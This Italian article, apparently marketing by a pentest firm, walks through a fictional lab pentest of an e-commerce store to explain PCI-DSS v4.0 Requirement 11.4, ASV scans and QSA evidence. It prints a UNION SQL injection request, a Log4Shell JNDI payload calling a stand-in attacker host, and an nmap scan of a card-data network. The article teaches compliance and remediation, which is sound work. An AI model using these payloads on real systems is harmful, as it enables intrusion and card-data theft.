Pentest PCI-DSS v4.0: Requisito 11.4, ASV Scan e l'evidenza che il QSA esige

Categoria: Conformità PCI-DSS v4.0 | Pentest | E-commerce Livello: Intermedio Ambiente: Laboratorio controllato — scenario totalmente anonimizzato, senza dati reali di clienti

---

Introduzione

Il PCI-DSS (Payment Card Industry Data Security Standard) è, in pratica, il passaporto per qualsiasi azienda che processa carte di credito e debito in Brasile — e nel mondo. Acquirer, sub-acquirer e orchestratori di pagamento esigono evidenza di conformità, e chi non la presenta rischia di perdere il diritto di processare i pagamenti.

La versione v4.0 dello standard è entrata in vigore il 31 marzo 2024 (quando la v3.2.1 è stata ritirata), e i nuovi requisiti — i cosiddetti future-dated — sono diventati obbligatori il 31 marzo 2025. Chi opera ancora secondo il vecchio standard è fuori termine da oltre un anno.

Tra i 12 requisiti PCI-DSS, uno è direttamente responsabilità di chi esegue test di sicurezza: il Requisito 11, che richiede test periodici di sicurezza di sistemi e reti. E al suo interno, l'11.4 — test di intrusione (pentest) — è il punto che genera più dubbi negli e-commerce brasiliani:

• Basta la scansione ASV trimestrale (Req. 11.3.2)?
• Cosa deve coprire esattamente il pentest del Requisito 11.4 PCI?
• Cosa accetta il QSA (Qualified Security Assessor) come evidenza?

Questo articolo documenta uno scenario di laboratorio che risponde a queste tre domande: un e-commerce fittizio che ha superato l'ASV per quattro trimestri consecutivi e, nonostante ciò, è stato bocciato all'audit — perché nessuno aveva testato l'applicazione come farebbe un attaccante.

---

Lo Scenario

Immaginate un e-commerce di elettronica di medie dimensioni — chiamiamolo "VendaJá" (nome fittizio). Il negozio processa le carte nel proprio checkout (senza reindirizzare a un gateway di terze parti), il che colloca checkout, API degli ordini e database all'interno del CDE — il Cardholder Data Environment, l'ambiente che conserva i dati delle carte.

Secondo la documentazione interna:

"Il nostro ambiente dati delle carte è isolato e monitorato. Eseguiamo scansioni ASV trimestrali e manteniamo la conformità PCI dal 2022."

La scansione ASV, in effetti, tornava pulita trimestre dopo trimestre. Ma il QSA, nell'audit di ri-validazione, ha chiesto qualcosa che la scansione non fornisce: il report di pentest annuale del CDE (Req. 11.4.3/11.4.2) e il test dei controlli di segregazione (Req. 11.4.5). L'azienda non aveva mai eseguito un pentest — "la scansione copre già questo", diceva il direttore IT.

Stack tecnologico osservato durante il recon:

• Negozio e pannello amministrativo: applicazione web in PHP su nginx
• API degli ordini: servizio REST (Node.js) consumato dal checkout
• Elaborazione dei pagamenti: servizio Java (Spring Boot) attivato dal checkout — dove gira Apache Log4j 2
• Database: PostgreSQL (ordini, clienti e dati delle carte)
• WAF: presente solo sul dominio principale del negozio
• Monitoraggio: agenti di log di base, IDS/IPS non trovato

Il primo segnale d'allarme: la policy interna di sicurezza dei dati delle carte esisteva come PDF — ma l'accesso al pannello amministrativo, all'API e al database non seguiva alcun controllo tecnico corrispondente. Era conformità di carta.

---

Cosa richiede realmente il PCI-DSS v4.0

Prima di mostrare le scoperte, ecco la mappa dei requisiti rilevanti (allineata alla mappatura di conformità dell'offerta Intrus Conformidade):

Il punto centrale per gli e-commerce: scansione ASV e pentest sono obblighi diversi, con perimetri diversi. L'ASV è una scansione automatizzata ed esterna, focalizzata sull'infrastruttura — porte, servizi e CVE note. Il pentest del Req. 11.4 è un test manuale e metodologico, che copre logica applicativa, autenticazione, autorizzazione, bypass del WAF e segregazione di rete. Il QSA ha bisogno di entrambi.

---

Fase di Ricognizione

Il lavoro è iniziato mappando la superficie esterna di VendaJá. Il perimetro dichiarato: il CDE (checkout, API degli ordini, pannello amministrativo e rete del database) e i controlli di segregazione.

www.vendaja.example        → applicazione del negozio (dominio pubblico)
checkout.vendaja.example   → checkout / elaborazione carte
api.vendaja.example        → API degli ordini
admin.vendaja.example      → pannello amministrativo (fuori da Google, senza robots)

Due osservazioni del recon indicavano già la strada:

1. Il WAF protegge solo www. Le richieste a checkout, api e admin andavano direttamente agli IP di origine — i record DNS storici rivelavano l'IP reale del server dietro il WAF.
2. Il pannello amministrativo risponde su internet con la propria pagina di login — nessuna restrizione di rete visibile.

Il test di segregazione, a sua volta, sarebbe partito dalla rete amministrativa (fuori dal CDE, secondo il diagramma interno): se da lì fosse stato possibile raggiungere i servizi del CDE, il controllo di segmentazione era fallito.

---

Scoperte

Difetto 1 — SQL Injection nella ricerca ordini: dump del database del CDE

Il pannello amministrativo aveva una ricerca ordini per numero. Il parametro veniva interpolato direttamente nella query:

-- Pseudocodice vulnerabile — interpolazione diretta del parametro
SELECT * FROM pedidos WHERE numero_pedido = '$busca'

Un payload semplice ha confermato l'iniezione e rivelato le colonne del database:

GET /admin/pedidos?busca=1' UNION SELECT column_name,1,1,1 FROM information_schema.columns WHERE table_name='pedidos'-- HTTP/1.1
Host: admin.vendaja.example
Cookie: session=...

Risposta: HTTP 200 con i nomi delle colonne — inclusi pan, validade, nome_titular e cvv. La scoperta peggiore: il database memorizzava il numero completo della carta in chiaro, e anche il CVV — qualcosa che il PCI-DSS vieta espressamente (Req. 3.3.1: il CVV — sensitive authentication data — non può essere memorizzato dopo l'autorizzazione; Req. 3.5.1: il PAN deve rimanere illeggibile ovunque sia memorizzato).

Con un secondo payload (UNION sulla tabella degli ordini), il test ha dimostrato la lettura di record reali in laboratorio:

numero_pedido | pan            | validade | nome_titular
VL-2026-04821 | 4539**********| 09/28    | Cliente Teste (dados fictícios)

La correzione è standard e obbligatoria: prepared statement / query parametrizzate in tutte le query, senza eccezioni:

// Pseudocodice corretto — prepared statement
$stmt = $pdo->prepare("SELECT * FROM pedidos WHERE numero_pedido = ?");
$stmt->execute([$busca]);

E nel database: tokenizzazione o crittografia forte del PAN (applicando la Req. 3.5.1), eliminazione immediata del CVV memorizzato e mascheramento su qualsiasi schermata (Req. 3.4.1).

Difetto 2 — Pannello amministrativo con credenziali predefinite: chiave maestra del CDE

La pagina di login del pannello ha accettato le credenziali predefinite del sistema (admin / password di fabbrica, elencata nel manuale del prodotto). Senza MFA, senza blocco dopo tentativi falliti, senza restrizione IP. In MITRE ATT&CK, questo è T1078.001 (Default Accounts).

Con l'accesso amministratore, il test ha dimostrato (in ambiente di laboratorio, con dati fittizi):

• Elenco di tutti gli ordini, inclusi PAN e CVV in chiaro;
• Creazione di un utente amministrativo aggiuntivo (persistenza);
• Disattivazione del log di audit dell'applicazione.

Il PCI-DSS richiede, nella Req. 2.2.2, la rimozione/disattivazione di account e password predefiniti (vendor defaults) — e, nella Req. 8.4.2, MFA per ogni accesso al CDE, incluso il personale amministrativo. Le correzioni:

1. Cambio immediato di tutte le credenziali predefinite e revisione degli account orfani;
2. MFA obbligatorio (TOTP/hardware) per ogni accesso al pannello;
3. Restrizione di origine (VPN/rete amministrativa + allowlist IP) per il pannello;
4. Policy di blocco dopo tentativi non validi e audit dei login.

Difetto 3 — WAF assente sulle applicazioni del CDE e bypass via IP di origine

Il WAF esisteva, ma solo davanti a www. La scansione ASV, trimestre dopo trimestre, scansionava esattamente quell'IP — quello del WAF — e tornava "pulita". Le applicazioni del CDE (checkout, api, admin) rispondevano direttamente sull'IP di origine, senza alcuna protezione di livello 7.

In pratica, il test ha confermato:

• Le richieste dirette all'IP di origine con Host: admin.vendaja.example funzionavano normalmente (WAF bypass);
• I payload di attacco classici (XSS, SQLi, path traversal) arrivavano intatti all'applicazione — non c'era alcun filtro;
• Il pannello e l'API non avevano virtual patching né rate limiting.

La Req. 6.4.1 (applicazioni web pubbliche protette da attacchi noti — WAF o revisione manuale/automatizzata) era già richiesta nella v4.0 dalla pubblicazione; la Req. 6.4.2 (soluzione automatizzata di rilevamento/prevenzione degli attacchi web — il WAF) era future-dated — ed è diventata obbligatoria il 31/03/2025. Correzione:

• WAF gestito davanti a tutte le applicazioni pubbliche, con regole personalizzate (virtual patching) per i difetti noti;
• Blocco dell'accesso diretto all'IP di origine (il WAF deve essere l'unico percorso);
• Rate limiting e alert sugli eventi di sicurezza nel WAF.

Difetto 4 — Segregazione del CDE rotta: database raggiungibile dalla rete amministrativa

Il test di segregazione (Req. 11.4.5) è partito da una postazione sulla rete amministrativa — nominalmente fuori dal CDE — e ha tentato di raggiungere i servizi del CDE:

nmap -sT -Pn -p 5432,443,22 10.20.0.0/24   # rete del CDE, dalla rete amministrativa

Risposta: porta 5432 (PostgreSQL) aperta sul server di database del CDE, raggiungibile dalla rete amministrativa senza alcun controllo sul percorso. La regola firewall che doveva separare i segmenti era disattivata da mesi — nessuno se n'era accorto, perché nessuno testava.

Ciò significa che un malware o un attaccante con accesso a qualsiasi macchina amministrativa (phishing, chiavetta USB, VPN rubata) raggiungerebbe il database delle carte senza attraversare alcun controllo. Il PCI-DSS richiede che il CDE sia isolato da controlli di segregazione efficaci — e il test di segregazione è proprio ciò che dimostra che funzionano.

Correzioni:

• Riattivazione e revisione delle regole firewall tra i segmenti (deny di default, allow per eccezione);
• Microsegmentazione: database del CDE raggiungibile solo da host applicativi specifici e da una porta specifica;
• Monitoraggio dei tentativi di connessione tra segmenti (alimenta la Req. 11.5);
• Retest annuale della segregazione (Req. 11.4.5), come impone il Req. 11.4 — semestrale solo per i service provider (11.4.6).

Difetto 5 — Componente obsoleto con CVE nota: RCE dimostrato

La scansione interna delle versioni ha trovato, nel servizio Java di elaborazione, la libreria di logging Apache Log4j 2 con Log4Shell (CVE-2021-44228) — una vulnerabilità di esecuzione remota di codice (RCE) nota da dicembre 2021. L'ASV esterno non l'ha rilevata perché la scansione era limitata all'IP del WAF (www) — le applicazioni del CDE restavano fuori dal perimetro dichiarato dello scan; il test applicativo interno l'ha trovata in pochi minuti.

In laboratorio, lo sfruttamento ha dimostrato l'esecuzione di comandi sul server applicativo — che, ricordando il Difetto 4, era nello stesso segmento del database del CDE:

# Pseudocodice illustrativo — payload JNDI di Log4Shell (CVE-2021-44228)
${jndi:ldap://atacante.example/exploit}

In MITRE ATT&CK: T1190 (Exploit Public-Facing Application). Il PCI-DSS risponde nella Req. 6.3.3: patch di sicurezza — critiche entro 1 mese dalla release; altre secondo la targeted risk analysis. La correzione va oltre la patch:

• Aggiornamento immediato della libreria vulnerabile;
• Inventario dei componenti (SBOM) di tutte le applicazioni del CDE, affinché nessuna dipendenza obsoleta passi inosservata;
• Alimentazione del processo continuo della Req. 6.3.1 (scansione mensile + triage + SLA).

---

La Catena Completa

Nessuno dei cinque difetti, isolato, abbatte un e-commerce. Insieme, formano il percorso che un attaccante reale percorrerebbe:

1. Il Difetto 3 apre la porta — senza WAF davanti a admin/api/checkout e con l'IP di origine esposto, l'attaccante attacca l'applicazione direttamente;
2. Il Difetto 2 consegna la chiave — credenziali predefinite sul pannello = accesso amministrativo al CDE (T1078.001);
3. Il Difetto 1 svuota la cassaforte — con l'accesso al pannello, la SQL Injection diventa un dump del database: PAN, scadenza e persino CVV in chiaro (violazione diretta delle Req. 3.3.1 e 3.5.1);
4. Il Difetto 4 rimuove i muri — la segregazione rotta consente a qualsiasi accesso alla rete amministrativa di raggiungere il database del CDE;
5. Il Difetto 5 automatizza il resto — Log4Shell (T1190) consegna RCE sul server applicativo, nello stesso segmento del database.

Il risultato: ~180.000 numeri di carta dei clienti, incluso il CVV, accessibili senza una barriera reale — e un audit PCI che fallirebbe simultaneamente le Req. 3, 6, 8 e 11.

Questo incatenamento è la differenza fondamentale tra scansione e pentest: lo strumento valida controlli isolati; il pentester modella il percorso dell'attaccante da un capo all'altro.

---

Perché la Scansione ASV Trimestrale Non Ha Trovato Nulla?

L'ASV di VendaJá è tornato pulito per quattro trimestri. Non è stata incompetenza dello scanner — è stato il perimetro:

• Scansiona l'infrastruttura, non l'applicazione. L'ASV testa porte, servizi e CVE note sull'IP dichiarato. Non esegue logica di business, non testa l'autenticazione, non tenta SQL Injection sui parametri dell'applicazione;
• Scansiona l'IP sbagliato. Con il WAF davanti a www, la scansione validava il WAF — mentre le applicazioni del CDE rispondevano direttamente sull'IP di origine, fuori dalla scansione;
• Non testa la segregazione. L'ASV è esterno per definizione; il test della Req. 11.4.5 parte dall'interno della rete (e dall'esterno, validando i controlli);
• Non vede logica e autorizzazione. Credenziali predefinite sul pannello, permessi eccessivi, assenza di MFA, CVV memorizzato: nulla di tutto questo è "porta aperta" o "CVE nota" — è ciò che trova il test manuale;
• La cadenza non è copertura. Quattro scansioni all'anno non sostituiscono un test metodologico annuale — sono obblighi complementari dello stesso Requisito 11.

La conclusione pratica: ASV pulito ≠ ambiente sicuro. L'ASV risponde alla domanda "esistono vulnerabilità note sulla mia superficie esterna?". Il pentest risponde a "un attaccante può arrivare ai dati delle carte — e per quale percorso?". Il QSA conosce la differenza — ed è esattamente ciò che verifica la Req. 11.4.

---

Cosa Accetta il QSA Come Evidenza

Per un e-commerce nel processo di conformità PCI — lo stadio decisionale di questo acquisto — la domanda pratica è: cosa presentare al QSA?

1. Perimetro del CDE documentato. Diagramma di rete, inventario dei sistemi nel CDE ed elenco dei flussi di dati delle carte. Senza questo, nessun test viene accettato come evidenza;
2. Report di pentest completo (Req. 11.4.3/11.4.2). Metodologia, perimetro, periodo di test, classificazione del rischio (CVSS), scoperte con evidenza (screenshot con data/ora), impatto e piano di remediation;
3. Test di segregazione (Req. 11.4.5). Annuale (semestrale solo per i service provider), con risultato ed evidenza dei controlli testati;
4. Retest / validazione della remediation. Scoperte corrette e ri-validate — il QSA verifica che la remediation sia avvenuta, non solo che sia stata promessa;
5. Matrice di mappatura scoperta → requisito. Ogni finding collegato al requisito PCI-DSS corrispondente (formato dell'add-on Intrus Conformidade);
6. Lettera di impegno firmata. Documenta perimetro, date e autorizzazione del test — usata dal QSA per validare che il test sia stato reale;
7. Report ASV trimestrali (Req. 11.3.2) con evidenza di risoluzione dei difetti segnalati;
8. Allineamento della finestra. Il pentest annuale deve coprire lo stesso periodo dell'assessment del QSA — un test fatto a dicembre non copre un audit di marzo.

---

Analisi d'Impatto

In un ambiente reale, i cinque difetti avrebbero il seguente impatto:

Oltre al PCI in sé: i dati delle carte sono dati personali — la LGPD richiede misure tecniche adeguate al rischio (Art. 46), comunicazione degli incidenti ad ANPD e interessati (Art. 48) e prevede sanzioni fino al 2% del fatturato, con tetto di R$ 50 milioni (Art. 52). Senza contare le multe dei circuiti per non conformità (nell'ordine di USD 5.000–100.000/mese) e il rischio commerciale che l'acquirer sospenda l'elaborazione delle carte.

---

Causa Radice

I cinque difetti condividono una causa radice: VendaJá trattava il PCI-DSS come un progetto di compilazione di moduli, non come un processo continuo — e nessuno testava il percorso dell'attaccante.

In dettaglio:

1. Conformità di carta — la policy di sicurezza delle carte esisteva come PDF; i controlli tecnici corrispondenti, no;
2. ASV pulito = "siamo al sicuro" — la scansione obbligatoria è diventata un sostituto del test, quando invece è un complemento;
3. Nessun programma di gestione delle vulnerabilità — la Req. 6.3.1 richiedeva un processo continuo; c'erano scansioni sporadiche e senza triage;
4. Nessun inventario — nessun SBOM, nessun elenco di componenti; la libreria con Log4Shell è passata anni senza che nessuno se ne accorgesse;
5. Segregazione presunta, mai testata — il firewall "separava" il CDE nel diagramma; nessuno validava le regole.

Nessuno dei difetti è esotico. Compaiono tutti negli e-commerce che hanno contratto l'ASV, comprato il certificato di conformità auto-dichiarato — e non hanno mai eseguito un pentest sul CDE.

---

Remediation Raccomandata

1. Programma continuo di gestione delle vulnerabilità (Req. 6.3.1)

Scansione mensile (interna ed esterna) con triage e SLA per severità, alimentata da inventario degli asset e SBOM. Vulnerabilità critica trattata in giorni, non in trimestri.

2. Patch con SLA (Req. 6.3.3)

Processo di patch: critiche entro 30 giorni dalla release; altre secondo la targeted risk analysis (12.3.1). Inventario dei componenti (SBOM) in tutte le applicazioni del CDE.

3. WAF su tutte le applicazioni pubbliche (Req. 6.4.1/6.4.2)

WAF gestito davanti a negozio, checkout, API e pannello, con virtual patching e rilevamento automatico degli attacchi applicativi. IP di origine non raggiungibile direttamente.

4. Ciclo di test completo (Reqs. 11.3/11.4)

• Trimestrale: scansione ASV esterna (11.3.2);
• Annuale: pentest esterno (11.4.3) + pentest interno (11.4.2) del CDE, dopo modifiche significative;
• Annuale: test di segregazione (11.4.5; semestrale solo per i service provider — 11.4.6);
• Retest di tutte le scoperte corrette, con evidenza.

5. MFA e credenziali (Reqs. 2.2.2/8.4.2)

Eliminazione di account e password predefiniti, MFA su ogni accesso al CDE, restrizione di origine per i pannelli amministrativi e policy di blocco dei tentativi.

6. IDS/IPS con risposta (Req. 11.5)

Rilevamento delle intrusioni nella rete del CDE con alert operativi — alimentato dal monitoraggio delle connessioni tra segmenti.

7. Evidenza organizzata per il QSA (Reqs. 12.3.1/12.3.2)

Perimetro del CDE documentato, matrice di mappatura scoperta → requisito, report con retest e lettera di impegno — oltre alla targeted risk analysis documentata (12.3.1) e, quando applicabile, per il customized approach (12.3.2). È ciò che trasforma il test in conformità verificabile.

---

Conclusione

VendaJá ha scoperto nel modo peggiore ciò che la Req. 11.4 cerca di prevenire: la conformità PCI non è un sigillo, è evidenza di un processo continuo — e il QSA vuole test, non promesse.

L'ASV trimestrale è passato quattro volte. Il pentest annuale ha trovato un percorso diretto a 180.000 numeri di carta in una settimana di lavoro: una credenziale predefinita, una SQL Injection, un WAF che proteggeva solo il dominio sbagliato, un firewall che separava due segmenti solo nel diagramma e una libreria del 2021 in esecuzione in produzione.

La differenza tra "conformità di carta" e conformità vera non costa di più — è più onesta: testare il percorso dell'attaccante, ogni anno, con evidenza, e riparare ciò che il test trova. È esattamente ciò che il Requisito 11.4 PCI esige da ogni e-commerce che processa carte — ed è ciò che separa un audit tranquillo da una bocciatura con termine per la remediation.

---

Questo articolo descrive uno scenario di laboratorio totalmente fittizio, costruito a scopo educativo. Nessun dato reale di clienti è stato utilizzato. Lo sfruttamento di vulnerabilità in sistemi senza autorizzazione esplicita è illegale.

Vuoi sapere se il tuo CDE supererebbe un pentest secondo il Requisito 11.4 PCI-DSS v4.0? Il servizio di intrus.io combina pentest annuale (web, API e rete) con l'add-on Intrus Conformidade — un report formattato per la presentazione al QSA, con matrice di mappatura per requisito. Siamo a disposizione.